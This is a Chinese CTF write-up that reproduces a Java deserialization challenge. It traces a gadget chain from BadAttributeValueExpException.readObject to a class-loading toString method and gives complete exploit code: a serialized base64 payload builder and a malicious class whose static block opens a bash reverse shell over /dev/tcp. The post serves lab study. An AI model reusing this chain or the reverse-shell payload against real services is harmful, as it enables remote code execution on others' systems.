本文最后更新于 2026-02-06T19:20:13+08:00
白日梦组长讲解视频:https://www.bilibili.com/video/BV1qb4y187FA/?vd_source=525a280615063349bad5e187f6bfeec3
复现环境搭建 题目的jar包(视频评论区组长有发):
链接:https://pan.baidu.com/s/1t5-fV7SUETDEI5-qbZZQrw 提取码:8do5
然后在终端输入命令运行:
我这样在kali的,因为后面反弹shell方便点,然后访问127.0.0.1:8888
主机的话看一下虚拟机的IP:
分析 先把jar包导到IDEA里:https://yschen20.github.io/2025/12/14/%E5%9C%A8IDEA%E4%BD%BF%E7%94%A8CTF%E4%B8%ADJava%E9%A2%98%E7%9A%84jar%E5%8C%85/
然后每个类都看一下
就是个用户类,实现了Serializable接口,有俩private属性UserName和Password,并且还重写了toString()方法
有个/readobject路由,可以接收一个参数data(GET、POST都行),然后对传入的字符串进行base64解码,然后会从解码后的数据中读取一个UTF-8的字符串name和一个4字节的整数year,如果满足name="gadgets"且year=2021,就会进行反序列化的操作
这是一个工具类,里面定义了base64编码和解码的方法,还有序列化和反序列化的方法
这个类继承了ClassLoader类和Serializable接口,有一个私有属性ClassByte,还重写了toString()方法,然后就会从ClassByte字节码中动态加载类
所以很明显就是要利用ToStringBean.toString()里的ToStringBean.defineClass()动态加载恶意类,从而实现任意代码执行,入口就是IndexController里的/readobject路由,只要满足name.equals("gadgets") && year == 2021这个条件就能调用到readObject了
然后就是要找readobject()到toString()之间的链子,在CC5的开始是有这样的:
CC5链中是去调用TiedMapEntry.toString()的,这里就可以用BadAttributeValueExpException.readObject()去调ToStringBean.toString()
去看一下BadAttributeValueExpException.readObject():
这里反射修改一下val属性就行
链子思路差不多就这些了
逻辑图 所以攻击链的就是下面这样,最后去动态加载恶意类
构造EXP 先准备要加载的恶意类:
1 2 3 4 5 6 7 8 9 10 11 12 13 import java.io.IOException;public class Test { static { try { String[] command = new String []{"/bin/bash" , "-c" , "bash -i >& /dev/tcp/127.0.0.1/2333 0>&1" }; Runtime.getRuntime().exec(command); } catch (IOException e){ e.printStackTrace(); } } }
编译
放到我的测试目录下:
然后去写EXP了
先把最后加载动态类的部分写好,再看一下ToStringBean.java:
这里是去加载私有的ClassByte,所以这里用反射来修改
1 2 3 4 5 ToStringBean toStringBean = new ToStringBean ();Field classByteField = toStringBean.getClass().getDeclaredField("ClassByte" ); classByteField.setAccessible(true );byte [] bytes = Files.readAllBytes(Paths.get("E:/tmp/Test.class" )); classByteField.set(toStringBean, bytes);
然后是前面的BadAttributeValueExpException.readObject()部分,利用反射修改val属性
1 2 3 4 BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (null );Field valField = BadAttributeValueExpException.class.getDeclaredField("val" ); valField.setAccessible(true ); valField.set(badAttributeValueExpException, toStringBean);
还有就是想走到readObject前要满足的条件:
可以往上看一下,是用objectInputStream.readUTF()和objectInputStream.readInt()来获取name和year的,然后用的objectInputStream.readObject()
所以就用objectOutputStream.writeUTF和objectOutputStream.writeInt写入,这里要注意写的顺序要和源码里的一样,最后提取已经序列化好的数据,这部分代码也就相当于完成了序列化的操作了
1 2 3 4 5 6 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream ();ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeUTF("gadgets" ); objectOutputStream.writeInt(2021 ); objectOutputStream.writeObject(badAttributeValueExpException);byte [] bytes1 = byteArrayOutputStream.toByteArray();
最后调用一下Tools工具类里的base64Encode()方法进行base64编码一下就行了
1 2 String payload = Tools.base64Encode(bytes1); System.out.println(payload);
去试一下payload,先在kali里监听2333端口
然后在/readobject路由用 POST 请求方式传参data
这里一定要进行URL编码一次,选择要编码的部分,然后 Ctrl + U 即可
这样就是弹成功了,原本是在桌面的,现在编程了题目目录下
完整EXP Exp.java:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import com.ezgame.ctf.tools.ToStringBean;import com.ezgame.ctf.tools.Tools;import javax.management.BadAttributeValueExpException;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;public class Exp { public static void main (String[] args) throws Exception{ ToStringBean toStringBean = new ToStringBean (); Field classByteField = toStringBean.getClass().getDeclaredField("ClassByte" ); classByteField.setAccessible(true ); byte [] bytes = Files.readAllBytes(Paths.get("E:/tmp/Test.class" )); classByteField.set(toStringBean, bytes); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (null ); Field valField = BadAttributeValueExpException.class.getDeclaredField("val" ); valField.setAccessible(true ); valField.set(badAttributeValueExpException, toStringBean); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeUTF("gadgets" ); objectOutputStream.writeInt(2021 ); objectOutputStream.writeObject(badAttributeValueExpException); byte [] bytes1 = byteArrayOutputStream.toByteArray(); String payload = Tools.base64Encode(bytes1); System.out.println(payload); } }
恶意类Test.java:
1 2 3 4 5 6 7 8 9 10 11 12 13 import java.io.IOException;public class Test { static { try { String[] command = new String []{"/bin/bash" , "-c" , "bash -i >& /dev/tcp/127.0.0.1/2333 0>&1" }; Runtime.getRuntime().exec(command); } catch (IOException e){ e.printStackTrace(); } } }